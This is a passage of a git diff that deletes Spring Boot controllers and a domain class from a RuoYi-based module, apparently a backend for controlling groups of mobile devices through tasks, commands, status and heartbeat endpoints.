a/luqj-ec/src/main/java/com/luqj/ec/controller/EcControlTaskController.java b/luqj-ec/src/main/java/com/luqj/ec/controller/EcControlTaskController.java deleted file mode 100644 index 750416a..0000000 --- a/luqj-ec/src/main/java/com/luqj/ec/controller/EcControlTaskController.java +++ /dev/null @@ -1,118 +0,0 @@ -package com.luqj.ec.controller; -import com.ruoyi.common.select.Ids; -import com.ruoyi.common.select.SelectItem; -import java.util.List; -import org.springframework.security.access.prepost.PreAuthorize; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.web.bind.annotation.GetMapping; -import org.springframework.web.bind.annotation.PostMapping; -import org.springframework.web.bind.annotation.PutMapping; -import org.springframework.web.bind.annotation.DeleteMapping; -import org.springframework.web.bind.annotation.PathVariable; -import org.springframework.web.bind.annotation.RequestBody; -import org.springframework.web.bind.annotation.RequestMapping; -import org.springframework.web.bind.annotation.RestController; -import com.ruoyi.common.annotation.Log; -import com.ruoyi.common.core.controller.BaseController; -import com.ruoyi.common.core.domain.AjaxResult; -import com.ruoyi.common.enums.BusinessType; -import com.luqj.ec.domain.EcControlTask; -import com.luqj.ec.domain.EcControlTaskPlus; -import com.luqj.ec.service.IEcControlTaskService; -import com.ruoyi.common.utils.poi.ExcelUtil; -import com.ruoyi.common.core.page.TableDataInfo; - -/** - * 任务(群控核心)Controller - * - * @author luqj - * @date 2026-02-27 - */ -@RestController -@RequestMapping("/ec/ec-task") -public class EcControlTaskController extends BaseController -{ - @Autowired - private IEcControlTaskService ecControlTaskService; - @PreAuthorize("@ss.hasPermi('ec:ec-task:getByIds')") - @PostMapping("/getByIds") - public AjaxResult getByIds(@RequestBody Ids ids) - { - List list = ecControlTaskService.getByIds(ids.getLongIds(),EcControlTaskPlus::getTaskName,EcControlTaskPlus::getId); - return AjaxResult.success(list); - } - @PreAuthorize("@ss.hasPermi('ec:ec-task:select')") - @GetMapping("/select") - public AjaxResult select(String keyword) - { - List list = ecControlTaskService.select(keyword); - return AjaxResult.success(list); - } - /** - * 查询任务(群控核心)列表 - */ - @PreAuthorize("@ss.hasPermi('ec:ec-task:list')") - @GetMapping("/list") - public TableDataInfo list(EcControlTask ecControlTask) - { - startPage(); - List list = ecControlTaskService.selectEcControlTaskList(ecControlTask); - return getDataTable(list); - } - - /** - * 导出任务(群控核心)列表 - */ - @PreAuthorize("@ss.hasPermi('ec:ec-task:export')") - @Log(title = "任务(群控核心)", businessType = BusinessType.EXPORT) - @GetMapping("/export") - public AjaxResult export(EcControlTask ecControlTask) - { - List list = ecControlTaskService.selectEcControlTaskList(ecControlTask); - ExcelUtil util = new ExcelUtil(EcControlTask.class); - return util.exportExcel(list, "ec-task"); - } - - /** - * 获取任务(群控核心)详细信息 - */ - @PreAuthorize("@ss.hasPermi('ec:ec-task:query')") - @GetMapping(value = "/{id}") - public AjaxResult getInfo(@PathVariable("id") Long id) - { - return AjaxResult.success(ecControlTaskService.selectEcControlTaskById(id)); - } - - /** - * 新增任务(群控核心) - */ - @PreAuthorize("@ss.hasPermi('ec:ec-task:add')") - @Log(title = "任务(群控核心)", businessType = BusinessType.INSERT) - @PostMapping - public AjaxResult add(@RequestBody EcControlTask ecControlTask) - { - return toAjax(ecControlTaskService.insertEcControlTask(ecControlTask)); - } - - /** - * 修改任务(群控核心) - */ - @PreAuthorize("@ss.hasPermi('ec:ec-task:edit')") - @Log(title = "任务(群控核心)", businessType = BusinessType.UPDATE) - @PutMapping - public AjaxResult edit(@RequestBody EcControlTask ecControlTask) - { - return toAjax(ecControlTaskService.updateEcControlTask(ecControlTask)); - } - - /** - * 删除任务(群控核心) - */ - @PreAuthorize("@ss.hasPermi('ec:ec-task:remove')") - @Log(title = "任务(群控核心)", businessType = BusinessType.DELETE) - @DeleteMapping("/{ids}") - public AjaxResult remove(@PathVariable Long[] ids) - { - return toAjax(ecControlTaskService.deleteEcControlTaskByIds(ids)); - } -} diff --git a/luqj-ec/src/main/java/com/luqj/ec/controller/EcDeviceApiController.java b/luqj-ec/src/main/java/com/luqj/ec/controller/EcDeviceApiController.java deleted file mode 100644 index 8f84321..0000000 --- a/luqj-ec/src/main/java/com/luqj/ec/controller/EcDeviceApiController.java +++ /dev/null @@ -1,57 +0,0 @@ -package com.luqj.ec.controller; - -import com.luqj.ec.domain.EcDevice; -import com.ruoyi.common.core.controller.BaseController; -import com.ruoyi.common.core.domain.AjaxResult; -import com.luqj.ec.domain.dto.EcDeviceHeartbeatDto; -import com.luqj.ec.domain.dto.EcDeviceReportDto; -import com.luqj.ec.service.IEcDeviceService; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.web.bind.annotation.*; - -@RestController -@RequestMapping("/ec/device-api") -public class EcDeviceApiController extends BaseController { - - @Autowired - private IEcDeviceService ecDeviceService; - - @PostMapping("/report") - public AjaxResult report(@RequestBody EcDeviceReportDto reportDto) { - if (reportDto.getDeviceCode() == null || reportDto.getDeviceCode().isEmpty()) { - return AjaxResult.error("deviceCode不能为空"); - } - ecDeviceService.reportDevice(reportDto); - return AjaxResult.success("设备上报成功"); - } - @GetMapping("/snapshop") - public AjaxResult snapshop(@RequestParam(name = "deviceCode") String deviceCode) { - EcDevice ecDevice = new EcDevice(); - try { - ecDevice.setLastScreenPic(ecDeviceService.snapshop(deviceCode)); - } catch (Exception e) { - logger.error(e.getMessage(),e); - return AjaxResult.error(e.getMessage()); - } - return AjaxResult.success(ecDevice); - } - @GetMapping("/mjpegSnapshop") - public AjaxResult mjpegSnapshop(@RequestParam(name = "deviceCode") String deviceCode) { - EcDevice ecDevice = new EcDevice(); - try { - ecDevice.setLastScreenPic(ecDeviceService.mjpegSnapshop(deviceCode)); - } catch (Exception e) { - logger.error(e.getMessage(),e); - return AjaxResult.error(e.getMessage()); - } - return AjaxResult.success(ecDevice); - } - @PostMapping("/heartbeat") - public AjaxResult heartbeat(@RequestBody EcDeviceHeartbeatDto heartbeatDto) { - if (heartbeatDto.getDeviceCode() == null || heartbeatDto.getDeviceCode().isEmpty()) { - return AjaxResult.error("deviceCode不能为空"); - } - ecDeviceService.heartbeat(heartbeatDto); - return AjaxResult.success("心跳成功"); - } -} diff --git a/luqj-ec/src/main/java/com/luqj/ec/controller/EcDeviceCommandController.java b/luqj-ec/src/main/java/com/luqj/ec/controller/EcDeviceCommandController.java deleted file mode 100644 index 191e12b..0000000 --- a/luqj-ec/src/main/java/com/luqj/ec/controller/EcDeviceCommandController.java +++ /dev/null @@ -1,118 +0,0 @@ -package com.luqj.ec.controller; -import com.ruoyi.common.select.Ids; -import com.ruoyi.common.select.SelectItem; -import java.util.List; -import org.springframework.security.access.prepost.PreAuthorize; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.web.bind.annotation.GetMapping; -import org.springframework.web.bind.annotation.PostMapping; -import org.springframework.web.bind.annotation.PutMapping; -import org.springframework.web.bind.annotation.DeleteMapping; -import org.springframework.web.bind.annotation.PathVariable; -import org.springframework.web.bind.annotation.RequestBody; -import org.springframework.web.bind.annotation.RequestMapping; -import org.springframework.web.bind.annotation.RestController; -import com.ruoyi.common.annotation.Log; -import com.ruoyi.common.core.controller.BaseController; -import com.ruoyi.common.core.domain.AjaxResult; -import com.ruoyi.common.enums.BusinessType; -import com.luqj.ec.domain.EcDeviceCommand; -import com.luqj.ec.domain.EcDeviceCommandPlus; -import com.luqj.ec.service.IEcDeviceCommandService; -import com.ruoyi.common.utils.poi.ExcelUtil; -import com.ruoyi.common.core.page.TableDataInfo; - -/** - * 控制指令(单条指令)Controller - * - * @author luqj - * @date 2026-02-27 - */ -@RestController -@RequestMapping("/ec/ec-command") -public class EcDeviceCommandController extends BaseController -{ - @Autowired - private IEcDeviceCommandService ecDeviceCommandService; - @PreAuthorize("@ss.hasPermi('ec:ec-command:getByIds')") - @PostMapping("/getByIds") - public AjaxResult getByIds(@RequestBody Ids ids) - { - List list = ecDeviceCommandService.getByIds(ids.getLongIds(),EcDeviceCommandPlus::getCommandType,EcDeviceCommandPlus::getId); - return AjaxResult.success(list); - } - @PreAuthorize("@ss.hasPermi('ec:ec-command:select')") - @GetMapping("/select") - public AjaxResult select(String keyword) - { - List list = ecDeviceCommandService.select(keyword); - return AjaxResult.success(list); - } - /** - * 查询控制指令(单条指令)列表 - */ - @PreAuthorize("@ss.hasPermi('ec:ec-command:list')") - @GetMapping("/list") - public TableDataInfo list(EcDeviceCommand ecDeviceCommand) - { - startPage(); - List list = ecDeviceCommandService.selectEcDeviceCommandList(ecDeviceCommand); - return getDataTable(list); - } - - /** - * 导出控制指令(单条指令)列表 - */ - @PreAuthorize("@ss.hasPermi('ec:ec-command:export')") - @Log(title = "控制指令(单条指令)", businessType = BusinessType.EXPORT) - @GetMapping("/export") - public AjaxResult export(EcDeviceCommand ecDeviceCommand) - { - List list = ecDeviceCommandService.selectEcDeviceCommandList(ecDeviceCommand); - ExcelUtil util = new ExcelUtil(EcDeviceCommand.class); - return util.exportExcel(list, "ec-command"); - } - - /** - * 获取控制指令(单条指令)详细信息 - */ - @PreAuthorize("@ss.hasPermi('ec:ec-command:query')") - @GetMapping(value = "/{id}") - public AjaxResult getInfo(@PathVariable("id") Long id) - { - return AjaxResult.success(ecDeviceCommandService.selectEcDeviceCommandById(id)); - } - - /** - * 新增控制指令(单条指令) - */ - @PreAuthorize("@ss.hasPermi('ec:ec-command:add')") - @Log(title = "控制指令(单条指令)", businessType = BusinessType.INSERT) - @PostMapping - public AjaxResult add(@RequestBody EcDeviceCommand ecDeviceCommand) - { - return toAjax(ecDeviceCommandService.insertEcDeviceCommand(ecDeviceCommand)); - } - - /** - * 修改控制指令(单条指令) - */ - @PreAuthorize("@ss.hasPermi('ec:ec-command:edit')") - @Log(title = "控制指令(单条指令)", businessType = BusinessType.UPDATE) - @PutMapping - public AjaxResult edit(@RequestBody EcDeviceCommand ecDeviceCommand) - { - return toAjax(ecDeviceCommandService.updateEcDeviceCommand(ecDeviceCommand)); - } - - /** - * 删除控制指令(单条指令) - */ - @PreAuthorize("@ss.hasPermi('ec:ec-command:remove')") - @Log(title = "控制指令(单条指令)", businessType = BusinessType.DELETE) - @DeleteMapping("/{ids}") - public AjaxResult remove(@PathVariable Long[] ids) - { - return toAjax(ecDeviceCommandService.deleteEcDeviceCommandByIds(ids)); - } -} diff --git a/luqj-ec/src/main/java/com/luqj/ec/controller/EcDeviceController.java b/luqj-ec/src/main/java/com/luqj/ec/controller/EcDeviceController.java deleted file mode 100644 index d935cc7..0000000 --- a/luqj-ec/src/main/java/com/luqj/ec/controller/EcDeviceController.java +++ /dev/null @@ -1,118 +0,0 @@ -package com.luqj.ec.controller; -import com.ruoyi.common.select.Ids; -import com.ruoyi.common.select.SelectItem; -import java.util.List; -import org.springframework.security.access.prepost.PreAuthorize; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.web.bind.annotation.GetMapping; -import org.springframework.web.bind.annotation.PostMapping; -import org.springframework.web.bind.annotation.PutMapping; -import org.springframework.web.bind.annotation.DeleteMapping; -import org.springframework.web.bind.annotation.PathVariable; -import org.springframework.web.bind.annotation.RequestBody; -import org.springframework.web.bind.annotation.RequestMapping; -import org.springframework.web.bind.annotation.RestController; -import com.ruoyi.common.annotation.Log; -import com.ruoyi.common.core.controller.BaseController; -import com.ruoyi.common.core.domain.AjaxResult; -import com.ruoyi.common.enums.BusinessType; -import com.luqj.ec.domain.EcDevice; -import com.luqj.ec.domain.EcDevicePlus; -import com.luqj.ec.service.IEcDeviceService; -import com.ruoyi.common.utils.poi.ExcelUtil; -import com.ruoyi.common.core.page.TableDataInfo; - -/** - * 设备(手机设备)Controller - * - * @author luqj - * @date 2026-02-27 - */ -@RestController -@RequestMapping("/ec/ec-device") -public class EcDeviceController extends BaseController -{ - @Autowired - private IEcDeviceService ecDeviceService; - @PreAuthorize("@ss.hasPermi('ec:ec-device:getByIds')") - @PostMapping("/getByIds") - public AjaxResult getByIds(@RequestBody Ids ids) - { - List list = ecDeviceService.getByIds(ids.getLongIds(),EcDevicePlus::getDeviceCode,EcDevicePlus::getId); - return AjaxResult.success(list); - } - @PreAuthorize("@ss.hasPermi('ec:ec-device:select')") - @GetMapping("/select") - public AjaxResult select(String keyword) - { - List list = ecDeviceService.select(keyword); - return AjaxResult.success(list); - } - /** - * 查询设备(手机设备)列表 - */ - @PreAuthorize("@ss.hasPermi('ec:ec-device:list')") - @GetMapping("/list") - public TableDataInfo list(EcDevice ecDevice) - { - startPage(); - List list = ecDeviceService.selectEcDeviceList(ecDevice); - return getDataTable(list); - } - - /** - * 导出设备(手机设备)列表 - */ - @PreAuthorize("@ss.hasPermi('ec:ec-device:export')") - @Log(title = "设备(手机设备)", businessType = BusinessType.EXPORT) - @GetMapping("/export") - public AjaxResult export(EcDevice ecDevice) - { - List list = ecDeviceService.selectEcDeviceList(ecDevice); - ExcelUtil util = new ExcelUtil(EcDevice.class); - return util.exportExcel(list, "ec-device"); - } - - /** - * 获取设备(手机设备)详细信息 - */ - @PreAuthorize("@ss.hasPermi('ec:ec-device:query')") - @GetMapping(value = "/{id}") - public AjaxResult getInfo(@PathVariable("id") Long id) - { - return AjaxResult.success(ecDeviceService.selectEcDeviceById(id)); - } - - /** - * 新增设备(手机设备) - */ - @PreAuthorize("@ss.hasPermi('ec:ec-device:add')") - @Log(title = "设备(手机设备)", businessType = BusinessType.INSERT) - @PostMapping - public AjaxResult add(@RequestBody EcDevice ecDevice) - { - return toAjax(ecDeviceService.insertEcDevice(ecDevice)); - } - - /** - * 修改设备(手机设备) - */ - @PreAuthorize("@ss.hasPermi('ec:ec-device:edit')") - @Log(title = "设备(手机设备)", businessType = BusinessType.UPDATE) - @PutMapping - public AjaxResult edit(@RequestBody EcDevice ecDevice) - { - return toAjax(ecDeviceService.updateEcDevice(ecDevice)); - } - - /** - * 删除设备(手机设备) - */ - @PreAuthorize("@ss.hasPermi('ec:ec-device:remove')") - @Log(title = "设备(手机设备)", businessType = BusinessType.DELETE) - @DeleteMapping("/{ids}") - public AjaxResult remove(@PathVariable Long[] ids) - { - return toAjax(ecDeviceService.deleteEcDeviceByIds(ids)); - } -} diff --git a/luqj-ec/src/main/java/com/luqj/ec/controller/EcDeviceStatusController.java b/luqj-ec/src/main/java/com/luqj/ec/controller/EcDeviceStatusController.java deleted file mode 100644 index 63ebdf1..0000000 --- a/luqj-ec/src/main/java/com/luqj/ec/controller/EcDeviceStatusController.java +++ /dev/null @@ -1,118 +0,0 @@ -package com.luqj.ec.controller; -import com.ruoyi.common.select.Ids; -import com.ruoyi.common.select.SelectItem; -import java.util.List; -import org.springframework.security.access.prepost.PreAuthorize; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.web.bind.annotation.GetMapping; -import org.springframework.web.bind.annotation.PostMapping; -import org.springframework.web.bind.annotation.PutMapping; -import org.springframework.web.bind.annotation.DeleteMapping; -import org.springframework.web.bind.annotation.PathVariable; -import org.springframework.web.bind.annotation.RequestBody; -import org.springframework.web.bind.annotation.RequestMapping; -import org.springframework.web.bind.annotation.RestController; -import com.ruoyi.common.annotation.Log; -import com.ruoyi.common.core.controller.BaseController; -import com.ruoyi.common.core.domain.AjaxResult; -import com.ruoyi.common.enums.BusinessType; -import com.luqj.ec.domain.EcDeviceStatus; -import com.luqj.ec.domain.EcDeviceStatusPlus; -import com.luqj.ec.service.IEcDeviceStatusService; -import com.ruoyi.common.utils.poi.ExcelUtil; -import com.ruoyi.common.core.page.TableDataInfo; - -/** - * 设备心跳 & 状态(高频)Controller - * - * @author luqj - * @date 2026-02-27 - */ -@RestController -@RequestMapping("/ec/ec-device-status") -public class EcDeviceStatusController extends BaseController -{ - @Autowired - private IEcDeviceStatusService ecDeviceStatusService; - @PreAuthorize("@ss.hasPermi('ec:ec-device-status:getByIds')") - @PostMapping("/getByIds") - public AjaxResult getByIds(@RequestBody Ids ids) - { - List list = ecDeviceStatusService.getByIds(ids.getLongIds(),EcDeviceStatusPlus::getDeviceId,EcDeviceStatusPlus::getId); - return AjaxResult.success(list); - } - @PreAuthorize("@ss.hasPermi('ec:ec-device-status:select')") - @GetMapping("/select") - public AjaxResult select(String keyword) - { - List list = ecDeviceStatusService.select(keyword); - return AjaxResult.success(list); - } - /** - * 查询设备心跳 & 状态(高频)列表 - */ - @PreAuthorize("@ss.hasPermi('ec:ec-device-status:list')") - @GetMapping("/list") - public TableDataInfo list(EcDeviceStatus ecDeviceStatus) - { - startPage(); - List list = ecDeviceStatusService.selectEcDeviceStatusList(ecDeviceStatus); - return getDataTable(list); - } - - /** - * 导出设备心跳 & 状态(高频)列表 - */ - @PreAuthorize("@ss.hasPermi('ec:ec-device-status:export')") - @Log(title = "设备心跳 & 状态(高频)", businessType = BusinessType.EXPORT) - @GetMapping("/export") - public AjaxResult export(EcDeviceStatus ecDeviceStatus) - { - List list = ecDeviceStatusService.selectEcDeviceStatusList(ecDeviceStatus); - ExcelUtil util = new ExcelUtil(EcDeviceStatus.class); - return util.exportExcel(list, "ec-device-status"); - } - - /** - * 获取设备心跳 & 状态(高频)详细信息 - */ - @PreAuthorize("@ss.hasPermi('ec:ec-device-status:query')") - @GetMapping(value = "/{id}") - public AjaxResult getInfo(@PathVariable("id") Long id) - { - return AjaxResult.success(ecDeviceStatusService.selectEcDeviceStatusById(id)); - } - - /** - * 新增设备心跳 & 状态(高频) - */ - @PreAuthorize("@ss.hasPermi('ec:ec-device-status:add')") - @Log(title = "设备心跳 & 状态(高频)", businessType = BusinessType.INSERT) - @PostMapping - public AjaxResult add(@RequestBody EcDeviceStatus ecDeviceStatus) - { - return toAjax(ecDeviceStatusService.insertEcDeviceStatus(ecDeviceStatus)); - } - - /** - * 修改设备心跳 & 状态(高频) - */ - @PreAuthorize("@ss.hasPermi('ec:ec-device-status:edit')") - @Log(title = "设备心跳 & 状态(高频)", businessType = BusinessType.UPDATE) - @PutMapping - public AjaxResult edit(@RequestBody EcDeviceStatus ecDeviceStatus) - { - return toAjax(ecDeviceStatusService.updateEcDeviceStatus(ecDeviceStatus)); - } - - /** - * 删除设备心跳 & 状态(高频) - */ - @PreAuthorize("@ss.hasPermi('ec:ec-device-status:remove')") - @Log(title = "设备心跳 & 状态(高频)", businessType = BusinessType.DELETE) - @DeleteMapping("/{ids}") - public AjaxResult remove(@PathVariable Long[] ids) - { - return toAjax(ecDeviceStatusService.deleteEcDeviceStatusByIds(ids)); - } -} diff --git a/luqj-ec/src/main/java/com/luqj/ec/controller/EcTaskCommandController.java b/luqj-ec/src/main/java/com/luqj/ec/controller/EcTaskCommandController.java deleted file mode 100644 index 9d822e1..0000000 --- a/luqj-ec/src/main/java/com/luqj/ec/controller/EcTaskCommandController.java +++ /dev/null @@ -1,118 +0,0 @@ -package com.luqj.ec.controller; -import com.ruoyi.common.select.Ids; -import com.ruoyi.common.select.SelectItem; -import java.util.List; -import org.springframework.security.access.prepost.PreAuthorize; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.web.bind.annotation.GetMapping; -import org.springframework.web.bind.annotation.PostMapping; -import org.springframework.web.bind.annotation.PutMapping; -import org.springframework.web.bind.annotation.DeleteMapping; -import org.springframework.web.bind.annotation.PathVariable; -import org.springframework.web.bind.annotation.RequestBody; -import org.springframework.web.bind.annotation.RequestMapping; -import org.springframework.web.bind.annotation.RestController; -import com.ruoyi.common.annotation.Log; -import com.ruoyi.common.core.controller.BaseController; -import com.ruoyi.common.core.domain.AjaxResult; -import com.ruoyi.common.enums.BusinessType; -import com.luqj.ec.domain.EcTaskCommand; -import com.luqj.ec.domain.EcTaskCommandPlus; -import com.luqj.ec.service.IEcTaskCommandService; -import com.ruoyi.common.utils.poi.ExcelUtil; -import com.ruoyi.common.core.page.TableDataInfo; - -/** - * 任务指令明细(一个任务多条指令)Controller - * - * @author luqj - * @date 2026-02-27 - */ -@RestController -@RequestMapping("/ec/ec-task-command") -public class EcTaskCommandController extends BaseController -{ - @Autowired - private IEcTaskCommandService ecTaskCommandService; - @PreAuthorize("@ss.hasPermi('ec:ec-task-command:getByIds')") - @PostMapping("/getByIds") - public AjaxResult getByIds(@RequestBody Ids ids) - { - List list = ecTaskCommandService.getByIds(ids.getLongIds(),EcTaskCommandPlus::getCommandType,EcTaskCommandPlus::getId); - return AjaxResult.success(list); - } - @PreAuthorize("@ss.hasPermi('ec:ec-task-command:select')") - @GetMapping("/select") - public AjaxResult select(String keyword) - { - List list = ecTaskCommandService.select(keyword); - return AjaxResult.success(list); - } - /** - * 查询任务指令明细(一个任务多条指令)列表 - */ - @PreAuthorize("@ss.hasPermi('ec:ec-task-command:list')") - @GetMapping("/list") - public TableDataInfo list(EcTaskCommand ecTaskCommand) - { - startPage(); - List list = ecTaskCommandService.selectEcTaskCommandList(ecTaskCommand); - return getDataTable(list); - } - - /** - * 导出任务指令明细(一个任务多条指令)列表 - */ - @PreAuthorize("@ss.hasPermi('ec:ec-task-command:export')") - @Log(title = "任务指令明细(一个任务多条指令)", businessType = BusinessType.EXPORT) - @GetMapping("/export") - public AjaxResult export(EcTaskCommand ecTaskCommand) - { - List list = ecTaskCommandService.selectEcTaskCommandList(ecTaskCommand); - ExcelUtil util = new ExcelUtil(EcTaskCommand.class); - return util.exportExcel(list, "ec-task-command"); - } - - /** - * 获取任务指令明细(一个任务多条指令)详细信息 - */ - @PreAuthorize("@ss.hasPermi('ec:ec-task-command:query')") - @GetMapping(value = "/{id}") - public AjaxResult getInfo(@PathVariable("id") Long id) - { - return AjaxResult.success(ecTaskCommandService.selectEcTaskCommandById(id)); - } - - /** - * 新增任务指令明细(一个任务多条指令) - */ - @PreAuthorize("@ss.hasPermi('ec:ec-task-command:add')") - @Log(title = "任务指令明细(一个任务多条指令)", businessType = BusinessType.INSERT) - @PostMapping - public AjaxResult add(@RequestBody EcTaskCommand ecTaskCommand) - { - return toAjax(ecTaskCommandService.insertEcTaskCommand(ecTaskCommand)); - } - - /** - * 修改任务指令明细(一个任务多条指令) - */ - @PreAuthorize("@ss.hasPermi('ec:ec-task-command:edit')") - @Log(title = "任务指令明细(一个任务多条指令)", businessType = BusinessType.UPDATE) - @PutMapping - public AjaxResult edit(@RequestBody EcTaskCommand ecTaskCommand) - { - return toAjax(ecTaskCommandService.updateEcTaskCommand(ecTaskCommand)); - } - - /** - * 删除任务指令明细(一个任务多条指令) - */ - @PreAuthorize("@ss.hasPermi('ec:ec-task-command:remove')") - @Log(title = "任务指令明细(一个任务多条指令)", businessType = BusinessType.DELETE) - @DeleteMapping("/{ids}") - public AjaxResult remove(@PathVariable Long[] ids) - { - return toAjax(ecTaskCommandService.deleteEcTaskCommandByIds(ids)); - } -} diff --git a/luqj-ec/src/main/java/com/luqj/ec/controller/EcTaskDeviceController.java b/luqj-ec/src/main/java/com/luqj/ec/controller/EcTaskDeviceController.java deleted file mode 100644 index 6d2c836..0000000 --- a/luqj-ec/src/main/java/com/luqj/ec/controller/EcTaskDeviceController.java +++ /dev/null @@ -1,118 +0,0 @@ -package com.luqj.ec.controller; -import com.ruoyi.common.select.Ids; -import com.ruoyi.common.select.SelectItem; -import java.util.List; -import org.springframework.security.access.prepost.PreAuthorize; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.web.bind.annotation.GetMapping; -import org.springframework.web.bind.annotation.PostMapping; -import org.springframework.web.bind.annotation.PutMapping; -import org.springframework.web.bind.annotation.DeleteMapping; -import org.springframework.web.bind.annotation.PathVariable; -import org.springframework.web.bind.annotation.RequestBody; -import org.springframework.web.bind.annotation.RequestMapping; -import org.springframework.web.bind.annotation.RestController; -import com.ruoyi.common.annotation.Log; -import com.ruoyi.common.core.controller.BaseController; -import com.ruoyi.common.core.domain.AjaxResult; -import com.ruoyi.common.enums.BusinessType; -import com.luqj.ec.domain.EcTaskDevice; -import com.luqj.ec.domain.EcTaskDevicePlus; -import com.luqj.ec.service.IEcTaskDeviceService; -import com.ruoyi.common.utils.poi.ExcelUtil; -import com.ruoyi.common.core.page.TableDataInfo; - -/** - * 任务-设备关联(一任务多设备)Controller - * - * @author luqj - * @date 2026-02-27 - */ -@RestController -@RequestMapping("/ec/ec-task-device") -public class EcTaskDeviceController extends BaseController -{ - @Autowired - private IEcTaskDeviceService ecTaskDeviceService; - @PreAuthorize("@ss.hasPermi('ec:ec-task-device:getByIds')") - @PostMapping("/getByIds") - public AjaxResult getByIds(@RequestBody Ids ids) - { - List list = ecTaskDeviceService.getByIds(ids.getLongIds(),EcTaskDevicePlus::getStatus,EcTaskDevicePlus::getId); - return AjaxResult.success(list); - } - @PreAuthorize("@ss.hasPermi('ec:ec-task-device:select')") - @GetMapping("/select") - public AjaxResult select(String keyword) - { - List list = ecTaskDeviceService.select(keyword); - return AjaxResult.success(list); - } - /** - * 查询任务-设备关联(一任务多设备)列表 - */ - @PreAuthorize("@ss.hasPermi('ec:ec-task-device:list')") - @GetMapping("/list") - public TableDataInfo list(EcTaskDevice ecTaskDevice) - { - startPage(); - List list = ecTaskDeviceService.selectEcTaskDeviceList(ecTaskDevice); - return getDataTable(list); - } - - /** - * 导出任务-设备关联(一任务多设备)列表 - */ - @PreAuthorize("@ss.hasPermi('ec:ec-task-device:export')") - @Log(title = "任务-设备关联(一任务多设备)", businessType = BusinessType.EXPORT) - @GetMapping("/export") - public AjaxResult export(EcTaskDevice ecTaskDevice) - { - List list = ecTaskDeviceService.selectEcTaskDeviceList(ecTaskDevice); - ExcelUtil util = new ExcelUtil(EcTaskDevice.class); - return util.exportExcel(list, "ec-task-device"); - } - - /** - * 获取任务-设备关联(一任务多设备)详细信息 - */ - @PreAuthorize("@ss.hasPermi('ec:ec-task-device:query')") - @GetMapping(value = "/{id}") - public AjaxResult getInfo(@PathVariable("id") Long id) - { - return AjaxResult.success(ecTaskDeviceService.selectEcTaskDeviceById(id)); - } - - /** - * 新增任务-设备关联(一任务多设备) - */ - @PreAuthorize("@ss.hasPermi('ec:ec-task-device:add')") - @Log(title = "任务-设备关联(一任务多设备)", businessType = BusinessType.INSERT) - @PostMapping - public AjaxResult add(@RequestBody EcTaskDevice ecTaskDevice) - { - return toAjax(ecTaskDeviceService.insertEcTaskDevice(ecTaskDevice)); - } - - /** - * 修改任务-设备关联(一任务多设备) - */ - @PreAuthorize("@ss.hasPermi('ec:ec-task-device:edit')") - @Log(title = "任务-设备关联(一任务多设备)", businessType = BusinessType.UPDATE) - @PutMapping - public AjaxResult edit(@RequestBody EcTaskDevice ecTaskDevice) - { - return toAjax(ecTaskDeviceService.updateEcTaskDevice(ecTaskDevice)); - } - - /** - * 删除任务-设备关联(一任务多设备) - */ - @PreAuthorize("@ss.hasPermi('ec:ec-task-device:remove')") - @Log(title = "任务-设备关联(一任务多设备)", businessType = BusinessType.DELETE) - @DeleteMapping("/{ids}") - public AjaxResult remove(@PathVariable Long[] ids) - { - return toAjax(ecTaskDeviceService.deleteEcTaskDeviceByIds(ids)); - } -} diff --git a/luqj-ec/src/main/java/com/luqj/ec/domain/EcCommandResult.java b/luqj-ec/src/main/java/com/luqj/ec/domain/EcCommandResult.java deleted file mode 100644 index de9bfd5..0000000 --- a/luqj-ec/src/main/java/com/luqj/ec/domain/EcCommandResult.java +++ /dev/null @@ -1,128 +0,0 @@ -package com.luqj.ec.domain; - -import java.util.Date; - -import com.baomidou.mybatisplus.annotation.IdType; -import com.baomidou.mybatisplus.annotation.TableId; -import com.fasterxml.jackson.annotation.JsonFormat; -import org.apache.commons.lang3.builder.ToStringBuilder; -import org.apache.commons.lang3.builder.ToStringStyle; -import com.ruoyi.common.annotation.Excel; -import com.ruoyi.common.core.domain.BaseEntity; -import java.io.Serializable; -/** - * 指令执行结果(客户端回传)对象 ec_command_result - * - * @author luqj - * @date 2026-02-27 - */ -public class EcCommandResult extends BaseEntity -{ - private static final long serialVersionUID = 1L; - - /** 主键 */ - @TableId(type = IdType.AUTO) - private Long id; - - /** 命令ID */ - @Excel(name = "命令ID") - private Long commandId; - - /** 设备ID */ - @Excel(name = "设备ID") - private Long deviceId; - - /** 返回结果 */ - @Excel(name = "返回结果") - private Integer result; - - /** 错误信息 */ - @Excel(name = "错误信息") - private String errorMsg; - - /** 返回信息 */ - @Excel(name = "返回信息") - private String responseData; - - /** 创建时间 */ - @JsonFormat(pattern = "yyyy-MM-dd") - @Excel(name = "创建时间", width = 30, dateFormat = "yyyy-MM-dd") - private Date createdAt; - - public void setId(Long id) - { - this.id = id; - } - - public Long getId() - { - return id; - } - public void setCommandId(Long commandId) - { - this.commandId = commandId; - } - - public Long getCommandId() - { - return commandId; - } - public void setDeviceId(Long deviceId) - { - this.deviceId = deviceId; - } - - public Long getDeviceId() - { - return deviceId; - } - public void setResult(Integer result) - { - this.result = result; - } - - public Integer getResult() - { - return result; - } - public void setErrorMsg(String errorMsg) - { - this.errorMsg = errorMsg; - } - - public String getErrorMsg() - { - return errorMsg; - } - public void setResponseData(String responseData) - { - this.responseData = responseData; - } - - public String getResponseData() - { - return responseData; - } - public void setCreatedAt(Date createdAt) - { - this.createdAt = createdAt; - } - - public Date getCreatedAt() - { - return createdAt; - } - - @Override - public String toString() { - return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) - .append("id", getId()) - .append("commandId", getCommandId()) - .append("deviceId", getDeviceId()) - .append("result", getResult()) - .append("errorMsg", getErrorMsg()) - .append("responseData", getResponseData()) - .append("createdAt", getCreatedAt()) - .toString(); - } -} diff --git a/luqj-ec/src/main/java/com/luqj/ec/domain/EcCommandResultPlus.java b/luqj-ec/src/main/java/com/luqj/ec/domain/EcCommandResultPlus.java deleted file mode 100644 index 28ed78a..0000000 --- a/luqj-ec/src/main/java/com/luqj/ec/domain/EcCommandResultPlus.java +++ /dev/null @@ -1,124 +0,0 @@ -package com.luqj.ec.domain; - -import java.util.Date; - -import 